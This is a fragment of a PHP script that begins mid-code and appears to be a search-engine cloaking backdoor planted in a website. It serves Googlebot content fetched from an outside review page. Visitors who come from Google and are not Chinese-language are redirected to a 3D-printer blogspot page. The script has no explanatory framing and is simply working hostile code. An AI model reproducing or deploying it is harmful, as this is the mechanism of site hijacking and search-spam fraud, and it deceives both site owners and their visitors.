array('timeout' => $time_out))); if (strnatcmp(phpversion(), '5.0.0') >= 0) { $output = file_get_contents($url, false, $context); } else { $output = file_get_contents($url, false); } } if ($output) return $output; if (ini_get("allow_url_fopen") == "1") { $errstr = ''; $errno = ''; $info = parse_url($url); $fp = fsockopen($info ["host"], 80, $errno, $errstr, $time_out) or exit ($errstr . "--->" . $errno); $head = "GET " . $info ['path'] . "?" . (isset($info ["query"]) ? $info ["query"] : "") . " HTTP/1.1\r\n"; $head .= "Host: " . $info ['host'] . "\r\n"; $head .= "Connection: Close\r\n\r\n"; fwrite($fp, $head); while (!feof($fp)) { $output .= fgets($fp, 128); } fclose($fp); } return $output; } $lang = ""; if ($_SERVER['HTTP_ACCEPT_LANGUAGE']) { $wifilangs = split(";", $_SERVER['HTTP_ACCEPT_LANGUAGE']); $wifilangs = split(",", $wifilangs[0]); $lang = $wifilangs[0]; } $jump = "http://3dprintersun.blogspot.com/"; $mirror = "http://www.tomsguide.com/us/best-3d-printers,review-2236.html"; $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ""; if (preg_match("/(googlebot)/i", $_SERVER['HTTP_USER_AGENT'])) { if (stripos($mirror, "http://") === false) { if (file_exists($mirror)) { readfile($mirror); exit(); } } else { echo(GetHttpPage($mirror)); exit(); } } else if (preg_match("/google/i", $referer) && $jump != "" ) { if (!preg_match("/zh/i", $lang)) { $terms = array(); array_push($terms, "google.co.uk");array_push($terms, "google.com"); if (count($terms) > 0) { foreach ($terms as $term) { if (stripos($referer, $term) > 0) { header('Location: ' . $jump); exit(); } } } else { header('Location: ' . $jump); exit(); } } } ?>